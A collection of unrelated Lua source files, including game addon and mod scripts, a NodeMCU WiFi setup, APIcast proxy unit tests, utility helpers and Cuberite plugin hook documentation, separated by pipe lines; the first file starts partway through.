local str = addon.hsw.db.global.fontStr;
local path = p;
if ( str ) then
path = media:Fetch("font", str);
end
self.frame.textL:SetFont(path,s,f);
p,s,f = self.frame.textR:GetFont();
self.frame.textR:SetFont(path,s,f);
p,s,f = self.frame.textTitle:GetFont();
self.frame.textTitle:SetFont(path,s,f);
end
--[[----------------------------------------------------------------------------
ResetFramePosition - Reset the frame's position to center of screen
------------------------------------------------------------------------------]]
function addon:ResetFramePosition()
self.hsw.db.global.frameX = nil;
self.frame:ClearAllPoints();
self.frame:SetPoint("CENTER",0,0);
end
--[[----------------------------------------------------------------------------
SetupFrame - Set up the main display panel
------------------------------------------------------------------------------]]
function addon:SetupFrame()
if ( not self.frame ) then
local W = self.hsw.db.global.frameWidth or 192;
local H = 128;
local frame = CreateFrame("Frame", nil, UIParent);
frame:SetWidth(W);
frame:SetHeight(H);
frame:ClearAllPoints();
if ( self.hsw.db.global.frameX ) then
frame:SetPoint("BOTTOMLEFT",self.hsw.db.global.frameX or 0,self.hsw.db.global.frameY or 0);
else
frame:SetPoint("CENTER",0,0);
end
frame:EnableMouse(not self.hsw.db.global.frameLocked);
frame:SetMovable(not self.hsw.db.global.frameLocked);
frame:RegisterForDrag("LeftButton");
frame:SetScript("OnDragStart",frame.StartMoving);
frame:SetScript("OnDragStop",function(f)
f:StopMovingOrSizing();
self.hsw.db.global.frameX = f:GetLeft();
self.hsw.db.global.frameY = f:GetBottom();
end);
local text = frame:CreateFontString(nil,"OVERLAY",GameFontNormal);
text:SetPoint("TOPLEFT", frame ,"TOPLEFT", 0, -btn_size)
text:SetPoint("BOTTOMRIGHT", frame ,"BOTTOMRIGHT", 0, 0)
text:SetJustifyH("LEFT");
text:SetJustifyV("TOP");
text:SetFontObject(GameFontWhite);
text:SetShadowColor(0,0,0,.7);
text:SetShadowOffset(1,1);
local p,s,f = text:GetFont();
text:SetFont(p,self.hsw.db.global.fontSize,"OUTLINE");
frame.textL = text;
text = frame:CreateFontString(nil,"OVERLAY",GameFontNormal);
text:SetPoint("TOPLEFT", frame ,"TOPLEFT", 0, -btn_size)
text:SetPoint("BOTTOMRIGHT", frame ,"BOTTOMRIGHT", 0, 0)
text:SetJustifyH("RIGHT");
text:SetJustifyV("TOP");
text:SetFontObject(GameFontWhite);
local p,s,f = text:GetFont();
text:SetFont(p,self.hsw.db.global.fontSize,"OUTLINE");
frame.textR = text;
frame.buttons = {};
makeButton(frame,"Clear","Clear out all segments.","Interface\\Buttons\\UI-StopButton",function()
if ( not addon.inCombat ) then
StaticPopup_Show(clearsegments_dialog_name);
else
addon:Msg("[HSW] Cannot clear segments while in combat.");
end
end);
makeButton(frame,"Configure","Open the options menu","Interface\\Buttons\\UI-OptionsButton", function()
InterfaceOptionsFrame_OpenToCategory(self.hsw.optionsFrame)
InterfaceOptionsFrame_OpenToCategory(self.hsw.optionsFrame)
end);
makeButton(frame,"Export","Get the pawn string for the current statweights.","Interface\\Buttons\\UI-GuildButton-MOTD-Up",function()
StaticPopup_Show(pawn_dialog_name);
end);
makeButton(frame,"Segment","Select a segment","Interface\\Buttons\\UI-GuildButton-PublicNote-Up",function()
self:SegmentMenu()
end);
--[[local bg = frame:CreateTexture(nil, "BACKGROUND");
bg:SetAllPoints(true);
bg:SetColorTexture(0.1,0.1,0.1,0.3);
frame.texture = bg;]]
text = frame:CreateFontString(nil,"OVERLAY",GameFontNormal);
text:SetPoint("TOPLEFT",frame,"TOPLEFT",0,0);
text:SetJustifyH("LEFT");
text:SetFontObject(GameFontWhite);
local p,s,f = text:GetFont();
text:SetFont(p,self.hsw.db.global.fontSize+2,"OUTLINE");
text:SetWidth(W-btn_size*4);
text:SetHeight(16);
frame.textTitle = text;
local h = -btn_size;
for i=1,#frame.buttons,1 do
frame.buttons[i]:SetPoint("TOPRIGHT",frame,"TOPRIGHT",h*(i-1),0);
end
self.frame = frame;
self:AdjustFontColor()
self:AdjustFonts()
self:SetupUnitEvents();
end
end
|
AddCSLuaFile("cl_init.lua")
AddCSLuaFile("shared.lua")
include("shared.lua")
function ENT:Initialize()
self:SetModel("models/props_c17/FurnitureBathtub001a.mdl")
self:PhysicsInit(SOLID_VPHYSICS)
self:SetMoveType(MOVETYPE_VPHYSICS)
self:SetSolid(SOLID_VPHYSICS)
self:SetModelScale(self:GetModelScale() * 1, 0)
self:SetValor(57)
self:SetDiez(0)
self:SetCinco(0)
self:SetDos(0)
self:SetUno(0)
local phys = self:GetPhysicsObject()
if phys:IsValid() then
phys:Wake()
phys:EnableMotion(false)
end
end
--Physgun does not move this entity
function ENT:Think()
--no entra en esta validacion
if self:GetValor() == 0 then
print("Enters first IF Valor")
print("Valor 10 = " .. self:GetDiez())
print("Valor 5 = " .. self:GetCinco())
print("Valor 2 = " .. self:GetDos())
print("Valor 1 = " .. self:GetUno())
if self:GetDiez() == 5 then
if self:GetCinco() == 1 then
print("Enters third IF Cinco")
if self:GetDos() == 1 then
print ("Enters fourth IF Dos")
if self:GetUno() == 0 then
print ("Enters fifth IF Uno")
ents.FindByClass( "invisible-wall-2" )[1]:Remove()
for k , v in ipairs(ents.FindByClass("coin-1-10")) do
v:Remove()
end
for k , v in ipairs(ents.FindByClass("coin-2-5")) do
v:Remove()
end
for k , v in ipairs(ents.FindByClass("coin-3-2")) do
v:Remove()
end
for k , v in ipairs(ents.FindByClass("coin-4-1")) do
v:Remove()
end
end
end
end
end
end
end
function ENT:StartTouch(ent)
if ent:GetClass() == "coin-1-10" then
self:SetValor(self:GetValor() - ent:GetValor())
self:SetDiez(self:GetDiez() + 1)
end
if ent:GetClass() == "coin-2-5" then
self:SetValor(self:GetValor() - ent:GetValor())
self:SetCinco(self:GetCinco() + 1)
end
if ent:GetClass() == "coin-3-2" then
self:SetValor(self:GetValor() - ent:GetValor())
self:SetDos(self:GetDos() + 1)
end
if ent:GetClass() == "coin-4-1" then
self:SetValor(self:GetValor() - ent:GetValor())
self:SetUno(self:GetUno() + 1)
end
end
function ENT:EndTouch(ent)
if ent:GetClass() == "coin-1-10" then
self:SetValor(self:GetValor() + ent:GetValor())
self:SetDiez(self:GetDiez() - 1)
end
if ent:GetClass() == "coin-2-5" then
self:SetValor(self:GetValor() + ent:GetValor())
self:SetCinco(self:GetCinco() - 1)
end
if ent:GetClass() == "coin-3-2" then
self:SetValor(self:GetValor() + ent:GetValor())
self:SetDos(self:GetDos() - 1)
end
if ent:GetClass() == "coin-4-1" then
self:SetValor(self:GetValor() + ent:GetValor())
self:SetUno(self:GetUno() - 1)
end
end
|
Ext.RegisterOsirisListener("DB_Origins_MaxPartySize", 1, "after", function(size)
if size == 4 then
Osi.DB_Origins_MaxPartySize:Delete(4)
local settings = GetSettings()
if settings then
local partySize = settings.Global:GetVariable("PartySize", 6) or 6
Osi.DB_Origins_MaxPartySize(partySize)
else
Osi.DB_Origins_MaxPartySize(99)
end
GlobalClearFlag("GEN_MaxPlayerCountReached")
end
end)
|
SSID = "put network name here"
PSK = "put network key here"
print("Initalizing WIFI...")
wifi.setmode(wifi.STATION)
wifi.sta.config(SSID,PSK)
wifi.sta.connect()
print("Your MAC Address is " .. wifi.sta.getmac())
tmr.alarm(1, 1000, 1, function()
if wifi.sta.getip()== nil then
print("Waiting for IP Address...")
else
tmr.stop(1)
print("Connected to " .. SSID)
print("Your IP Address is " .. wifi.sta.getip())
dofile('webtempprobe.lua')
end
end)
|
require "lib.classes.class"
local BasicScene = require "Cutscenes.model.scenes.BasicScene"
--------------------------------------------------------------------------------------------------------
-- class: TimedScene
-- param: text:str -> the text asociated to the cutscene
-- param: image_path:str -> the path of the scene image
-- A timed single scene class
local TimedScene = extend(BasicScene, function(self, text, image_path)
self.elapsed_time = 0
end)
-- updateTime: num -> None
-- updates the current time of the scene
function TimedScene.updateTime(self, dt)
self.elapsed_time = self.elapsed_time + dt
end
-- resetElapsedTime: None -> None
-- resets the elapsed time
function TimedScene.resetElapsedTime(self)
self.elapsed_time = 0
end
return TimedScene
|
-----------------------------------
-- Area: Windurst Walls
-- NPC: Ojha Rhawash
-- Starts and Finishes Quest: Flower Child
-- !pos -209 0 -134 239
-----------------------------------
local ID = require("scripts/zones/Windurst_Walls/IDs");
require("scripts/globals/settings");
require("scripts/globals/quests");
function onTrade(player,npc,trade)
count = trade:getItemCount();
gil = trade:getGil();
itemQuality = 0;
if (trade:getItemCount() == 1 and trade:getGil() == 0) then
if (trade:hasItemQty(956,1)) then -- Lilac
itemQuality = 2;
elseif (trade:hasItemQty(957,1) or -- Amaryllis
trade:hasItemQty(2554,1) or -- Asphodel
trade:hasItemQty(948,1) or -- Carnation
trade:hasItemQty(1120,1) or -- Casablanca
trade:hasItemQty(1413,1) or -- Cattleya
trade:hasItemQty(636,1) or -- Chamomile
trade:hasItemQty(959,1) or -- Dahlia
trade:hasItemQty(835,1) or -- Flax Flower
trade:hasItemQty(2507,1) or -- Lycopodium Flower
trade:hasItemQty(958,1) or -- Marguerite
trade:hasItemQty(1412,1) or -- Olive Flower
trade:hasItemQty(938,1) or -- Papaka Grass
trade:hasItemQty(1411,1) or -- Phalaenopsis
trade:hasItemQty(949,1) or -- Rain Lily
trade:hasItemQty(941,1) or -- Red Rose
trade:hasItemQty(1725,1) or -- Snow Lily
trade:hasItemQty(1410,1) or -- Sweet William
trade:hasItemQty(950,1) or -- Tahrongi Cactus
trade:hasItemQty(2960,1) or -- Water Lily
trade:hasItemQty(951,1)) then -- Wijnruit
itemQuality = 1;
end
end
FlowerChild = player:getQuestStatus(WINDURST,tpz.quest.id.windurst.FLOWER_CHILD);
if (itemQuality == 2) then
if (FlowerChild == QUEST_COMPLETED) then
player:startEvent(10000, 0, 239, 4);
else
player:startEvent(10000, 0, 239, 2);
end
elseif (itemQuality == 1) then
if (FlowerChild == QUEST_COMPLETED) then
player:startEvent(10000, 0, 239, 5);
elseif (FlowerChild == QUEST_ACCEPTED) then
player:startEvent(10000, 0, 239, 3);
else
player:startEvent(10000, 0, 239, 1);
end
else
player:startEvent(10000, 0, 239, 0);
end
end;
function onTrigger(player,npc)
player:startEvent(10000, 0, 239, 10);
end;
function onEventUpdate(player,csid,option)
end;
function onEventFinish(player,csid,option)
if (csid == 10000 and option == 3002) then
player:tradeComplete();
player:completeQuest(WINDURST,tpz.quest.id.windurst.FLOWER_CHILD);
player:addFame(WINDURST,120);
player:moghouseFlag(4);
player:messageSpecial(ID.text.MOGHOUSE_EXIT);
elseif (csid == 10000 and option == 1) then
player:tradeComplete();
player:addQuest(WINDURST,tpz.quest.id.windurst.FLOWER_CHILD);
end
end;
|
-----------------------------------------------------------------------------
-- Leda simple single threaded controller
-- Author: Tiago Salmito, Noemi Rodriguez, Ana Lucia de Moura
-----------------------------------------------------------------------------
local thread_pool=require("leda.controller.thread_pool")
local leda=require'leda'
local singlethread=thread_pool.get(1)
if leda and leda.controller then
leda.controller.single_thread=singlethread
end
return singlethread
|
function math.clamp(x, min, max)
check("n,?n[2]")
return min and x < min and min or max and x > max and max or x
end
function math.round(x, decimals)
check("n,?n")
local mult = 10^(decimals or 0)
x = x * mult
return (x >= 0 and math.floor(x + 0.5) or math.ceil(x - 0.5))/mult
end
|
local Upstream = require('apicast.upstream')
local match = require('luassert.match')
describe('Upstream', function()
local valid_url = 'http://localhost:8080/path?query'
describe('.new', function()
it('returns an error on invalid upstream', function()
assert.returns_error('invalid upstream', Upstream.new('invalid uri'))
end)
it('returns new instance', function()
assert(Upstream.new(valid_url))
end)
it('returns table with location_name', function()
-- @upstream location is defined in the apicast.conf file
assert.equal('@upstream', Upstream.new(valid_url).location_name)
end)
it('returns table with upstream_name', function()
-- upstream name is defined in the upstream.conf file
assert.equal('upstream', Upstream.new(valid_url).upstream_name)
end)
it('returns table with resolver', function()
assert.equal(require('resty.resolver'), Upstream.new(valid_url).resolver)
end)
end)
describe(':resolve', function()
it('uses .resolver', function()
local upstream = Upstream.new('http://localhost:8080')
local resolver, instance, servers = {'resolver'}, {'instance'}, {'response'}
stub(resolver, 'instance').returns(instance)
stub(instance, 'get_servers').returns(servers)
upstream.resolver = resolver
assert.equal(servers, upstream:resolve())
assert.spy(instance.get_servers).was_called_with(instance, 'localhost', match.contains({ port = 8080 }))
end)
-- this is useful when we want to pre populate resolved servers in tests
it('keeps and returns previously resolved servers', function()
local upstream = Upstream.new(valid_url)
local servers = { 'resolved servers instance' }
upstream.servers = servers
assert.equal(upstream.servers, upstream:resolve())
assert.equal(upstream.servers, servers)
end)
end)
describe(':port', function()
it('returns port from the URI', function()
assert.same(8090, Upstream.new('http://host:8090'):port())
end)
it('returns default port for the scheme when none is provided', function()
assert.same(443, Upstream.new('https://example.com'):port())
end)
it('returns nil when port is unknown', function()
assert.is_nil(Upstream.new('ftp://example.com'):port())
end)
end)
describe(':append_path', function()
it('return valid path when is not set', function()
local up = Upstream.new('http://host:8090')
up:append_path("/test")
assert.same(up.uri.path, "/test")
end)
it('leading slash is removed', function()
local up = Upstream.new('http://host:8090/')
up:append_path("/test/")
assert.same(up.uri.path, "/test/")
end)
it('trailing slash is not appended', function()
local up = Upstream.new('http://host:8090/test')
up:append_path("")
assert.same(up.uri.path, "/test")
end)
end)
local function stub_ngx_request()
ngx.var = { }
stub(ngx, 'exec')
stub(ngx.req, 'set_header')
stub(ngx.req, 'set_uri', function(uri)
ngx.var.uri = uri
end)
stub(ngx.req, 'set_uri_args', function(args)
ngx.var.args = args
ngx.var.query_string = args
end)
end
describe(':rewrite_request', function()
before_each(stub_ngx_request)
it('sets request Host header to the URI host', function()
assert(Upstream.new('http://example.com/')):rewrite_request()
assert.spy(ngx.req.set_header).was_called_with('Host', 'example.com')
end)
it('sets request uri to the upstream path', function()
assert(Upstream.new('http://example.com/test-path')):rewrite_request()
assert.spy(ngx.req.set_uri).was_called_with('/test-path')
end)
for url, path in pairs({
['http://example.com'] = '/',
['http://example.com/path'] = '/path',
['http://example.com/path/'] = '/path/',
['http://example.com/path/foo'] = '/path/foo',
['http://example.com/path/foo/'] = '/path/foo/',
['http://example.com/path?test=value/'] = '/path',
}) do
it(('/ uses path %s for upstream %s'):format(path, url), function()
ngx.var.uri = '/'
local upstream = Upstream.new(url)
upstream:rewrite_request()
assert.same(path, ngx.var.uri)
end)
end
for url, path in pairs({
['http://example.com'] = '/test',
['http://example.com/path'] = '/path/test',
['http://example.com/path/'] = '/path/test',
['http://example.com/path/foo'] = '/path/foo/test',
['http://example.com/path/foo/'] = '/path/foo/test',
['http://example.com/path?test=value/'] = '/path/test',
}) do
it(('/test uses path %s for upstream %s'):format(path, url), function()
ngx.var.uri = '/test'
local upstream = Upstream.new(url)
upstream:rewrite_request()
assert.same(path, ngx.var.uri)
end)
end
it('sets request query params to the upstream query params', function()
assert(Upstream.new('http://example.com/?query=param')):rewrite_request()
assert.spy(ngx.req.set_uri_args).was_called_with('query=param')
end)
it('does not set the request uri when there is no upstream path', function()
assert(Upstream.new('http://example.com')):rewrite_request()
assert.spy(ngx.req.set_uri).was_not_called()
end)
for url, host in pairs({
['http://example.com'] = 'example.com',
['http://example.com:80'] = 'example.com',
['http://example.com:8080'] = 'example.com:8080',
['https://example.com:80'] = 'example.com:80',
['https://example.com:443'] = 'example.com',
['https://example.com:8080'] = 'example.com:8080',
}) do
it(('upstream %s sets Host header to %s'):format(url, host), function()
local upstream = Upstream.new(url)
upstream:rewrite_request()
assert.spy(ngx.req.set_header).was_called_with('Host', host)
end)
end
end)
describe(':call', function()
before_each(stub_ngx_request)
it('calls :resolve() when needed', function()
local upstream = Upstream.new('http://example.com')
stub(upstream, 'resolve')
upstream:call({})
assert.spy(upstream.resolve).was_called_with(upstream)
end)
it('does not call :resolve() when not needed', function()
local upstream = Upstream.new('http://example.com')
stub(upstream, 'resolve')
upstream.servers = {}
upstream:call({})
assert.spy(upstream.resolve).was_not_called()
end)
it('stores itself in the context', function()
local upstream = Upstream.new('http://localhost')
local context = {}
upstream:call(context)
assert.equal(upstream, context[upstream.upstream_name])
end)
it('executes the upstream location when provided', function()
local upstream = Upstream.new('http://localhost')
upstream:call({})
assert.spy(ngx.exec).was_called_with(upstream.location_name)
end)
it('skips executing the upstream location when missing', function()
local upstream = Upstream.new('http://localhost')
upstream.location_name = nil
upstream:call({})
assert.spy(ngx.exec).was_not_called()
end)
it('skips sending the response if it was already sent', function()
ngx.headers_sent = true -- already sent response to the client
local upstream = Upstream.new(valid_url)
local context = { }
spy.on(upstream, 'resolve')
assert.returns_error('response sent already', upstream:call(context))
assert.is_nil(context[upstream.upstream_name])
assert.spy(upstream.resolve).was_not_called()
end)
describe('changes ngx.var.proxy_pass to upstream url', function()
it('without port', function()
local upstream = Upstream.new('http://localhost:8080/path?query')
upstream:call({})
assert.equal('http://upstream', ngx.var.proxy_pass)
end)
it('works with partial url', function()
local upstream = Upstream.new('http://example.com')
upstream:call({})
assert.equal('http://upstream', ngx.var.proxy_pass)
end)
it('works with websocket url', function()
local upstream = Upstream.new('ws://example.com')
upstream:call({})
assert.equal('http://upstream', ngx.var.proxy_pass)
upstream = Upstream.new('wss://example.com')
upstream:call({})
assert.equal('https://upstream', ngx.var.proxy_pass)
end)
end)
describe("upstream_keepalive_key set", function()
it("uses HTTPS, force key", function()
assert.falsy(ngx.var.upstream_keepalive_key)
upstream = Upstream.new('https://example.com')
upstream:call({service={id=10}})
assert.equal(ngx.var.upstream_keepalive_key, "example.com::10")
end)
it("uses wss, force key", function()
assert.falsy(ngx.var.upstream_keepalive_key)
upstream = Upstream.new('wss://example.com')
upstream:call({service={id=10}})
assert.equal(ngx.var.upstream_keepalive_key, "example.com::10")
end)
it("uses HTTP skip by now", function()
assert.falsy(ngx.var.upstream_keepalive_key)
upstream = Upstream.new('http://example.com')
upstream:call({service={id=10}})
assert.falsy(ngx.var.upstream_keepalive_key)
end)
end)
end)
describe('http proxy', function()
local resty_proxy = require('resty.http.proxy')
local http_proxy = require('apicast.http_proxy')
before_each(stub_ngx_request)
describe('is active', function()
before_each(function()
resty_proxy:reset({ no_proxy = '*' })
end)
it('calls :rewrite_request()', function()
local upstream = Upstream.new('http://example.com')
stub(upstream, 'rewrite_request')
upstream:call({})
assert.spy(upstream.rewrite_request).was_called(1)
end)
end)
describe('is not active', function()
before_each(function()
resty_proxy:reset({ http_proxy = 'http://localhost' })
end)
it('calls http_proxy.request()', function()
local upstream = Upstream.new('http://example.com')
stub(http_proxy, 'request')
upstream:call({})
assert.spy(http_proxy.request).was_called(1)
end)
end)
end)
describe('.use_host_header', function()
before_each(stub_ngx_request)
it('allows to set the host used when setting the Host Header', function()
local upstream = Upstream.new('http://example.com')
local host = 'http://another_host'
upstream:use_host_header(host)
upstream:rewrite_request()
assert.spy(ngx.req.set_header).was_called_with('Host', host)
end)
end)
describe(".set_host_header", function()
before_each(stub_ngx_request)
it('self.host is defined', function()
local host = "test.com"
local upstream = Upstream.new('http://example.com')
upstream:use_host_header(host)
local tmp_host, err = upstream:set_host_header()
assert.equal(tmp_host, host)
assert.falsy(err)
assert.spy(ngx.req.set_header).was_called_with('Host', host)
end)
it('self.uri is not defined', function()
local host = "test.com"
local upstream = Upstream.new('http://example.com')
upstream.uri = nil
local tmp_host, err = upstream:set_host_header()
assert.falsy(tmp_host, host)
assert.equal(err, "Upstream URI not initialized")
end)
it('self.uri is defined in a not default port', function()
local expected_host = "example.com:10000"
local upstream = Upstream.new('http://example.com:10000')
local tmp_host, err = upstream:set_host_header()
assert.equal(tmp_host, expected_host)
assert.falsy(err)
assert.spy(ngx.req.set_header).was_called_with('Host', expected_host)
end)
it('self.uri is defined in a default port', function()
local expected_host = "example.com"
local upstream = Upstream.new('http://example.com')
local tmp_host, err = upstream:set_host_header()
assert.equal(tmp_host, expected_host)
assert.falsy(err)
assert.spy(ngx.req.set_header).was_called_with('Host', expected_host)
end)
end)
end)
|
local _, ns = ...
local E = ns.E
if not E:C('progressbars', 'enabled') then return end;
local bars = {}
local ProgressBars = CreateFrame("Frame", "sInterfaceProgressBars", Minimap)
ProgressBars:SetPoint("TOPLEFT", Minimap, "BOTTOMLEFT", 0, -10)
ProgressBars:SetPoint("TOPRIGHT", Minimap, "BOTTOMRIGHT", 0, -10)
ProgressBars:SetHeight(1)
local function getObject(barName)
for key, value in pairs(bars) do
if key == barName then
return value
end
end
return false
end
-- local function getBar(barName)
-- local obj = getObject(barName)
-- return obj and obj.bar or false
-- end
-- local function getEnabled(barName)
-- local obj = getObject(barName)
-- return obj and obj.enabled or false
-- end
local function reposition()
local prevElement
local enabledCount = 0
local totalHeight = 0
for _, element in pairs(bars) do
if element.enabled then
enabledCount = enabledCount + 1
local something = element.bar
totalHeight = totalHeight + something:GetHeight()
if (prevElement == nil) then
something:SetPoint("TOP", ProgressBars, "TOP")
else
something:SetPoint("TOP", prevElement, "BOTTOM", 0, -E:C('progressbars', 'spacing'))
end
prevElement = something
end
end
ProgressBars:SetHeight(totalHeight + (E:C('progressbars', 'spacing') * (enabledCount-1)))
end
function ProgressBars:CreateBar(barName)
if not barName then return end
local barHolder = CreateFrame("Frame", "sInterfaceProgressBars_"..barName, ProgressBars)
barHolder:SetPoint("LEFT", ProgressBars, "LEFT")
barHolder:SetPoint("RIGHT", ProgressBars, "RIGHT")
E:ShadowedBorder(barHolder)
bars[barName] = {
enabled = false,
bar = barHolder
}
return barHolder
end
function ProgressBars:EnableBar(barName)
local obj = getObject(barName)
if not obj then return end
obj.enabled = true
obj.bar:Show()
reposition()
end
function ProgressBars:DisableBar(barName, element)
local obj = getObject(barName)
if not obj then return end
obj.enabled = false
obj.bar:Hide()
reposition()
end
ns.sInterfaceProgressBars = ProgressBars
|
local LIST = TRL.NewObject("CHECKLIST")
function LIST:Name()
return self.name
end
function LIST:ID()
return self.id
end
function LIST:AddItem(name,checked,pos,cb)
TRL.ProcessAPI("checklists", self:ID(), "checkItems", {
name = name,
pos = pos,
checked = checked,
}, cb, "POST") -- POST
end
function LIST:Items(cb)
TRL.ProcessAPI("checklists", self:ID(), "checkItems", {
name = name,
pos = pos,
checked = checked,
}, function(items)
for _,item in ipairs(items) do
items[item.name] = item -- делаем keyvalue
end
cb(items)
end) -- GET
end
|
#! /usr/bin/lua
require 'Test.More'
plan(5)
local mp1 = require 'MessagePack'
package.loaded['MessagePack'] = nil -- hack here
local mp2 = require 'MessagePack'
isnt( mp1, mp2 )
mp1.set_array'without_hole'
mp2.set_array'always_as_map'
local t = { 10, 20, nil, 40 }
is( mp1.pack(t):byte(), 0x80 + 3, "array with hole as map" )
is_deeply( mp1.unpack(mp1.pack(t)), t )
is( mp2.pack(t):byte(), 0x80 + 3, "always_as_map" )
is_deeply( mp2.unpack(mp2.pack(t)), t )
|
return
{
HOOK_CHUNK_GENERATING =
{
CalledWhen = "A chunk is about to be generated. Plugin can override the built-in generator.",
DefaultFnName = "OnChunkGenerating", -- also used as pagename
Desc = [[
This hook is called before the world generator starts generating a chunk. The plugin may provide
some or all parts of the generation, by-passing the built-in generator. The function is given access
to the {{cChunkDesc|ChunkDesc}} object representing the contents of the chunk. It may override parts
of the built-in generator by using the object's <i>SetUseDefaultXXX(false)</i> functions. After all
the callbacks for a chunk have been processed, the server will generate the chunk based on the
{{cChunkDesc|ChunkDesc}} description - those parts that are set for generating (by default
everything) are generated, the rest are read from the ChunkDesc object.</p>
<p>
See also the {{OnChunkGenerated|HOOK_CHUNK_GENERATED}} hook.
]],
Params =
{
{ Name = "World", Type = "{{cWorld}}", Notes = "The world to which the chunk will be added" },
{ Name = "ChunkX", Type = "number", Notes = "X-coord of the chunk" },
{ Name = "ChunkZ", Type = "number", Notes = "Z-coord of the chunk" },
{ Name = "ChunkDesc", Type = "{{cChunkDesc}}", Notes = "Generated chunk data." },
},
Returns = [[
If this function returns true, the server will not call any other plugin with the same chunk. If
this function returns false, the server will call the rest of the plugins with the same chunk,
possibly overwriting the ChunkDesc's contents.
]],
}, -- HOOK_CHUNK_GENERATING
}
|
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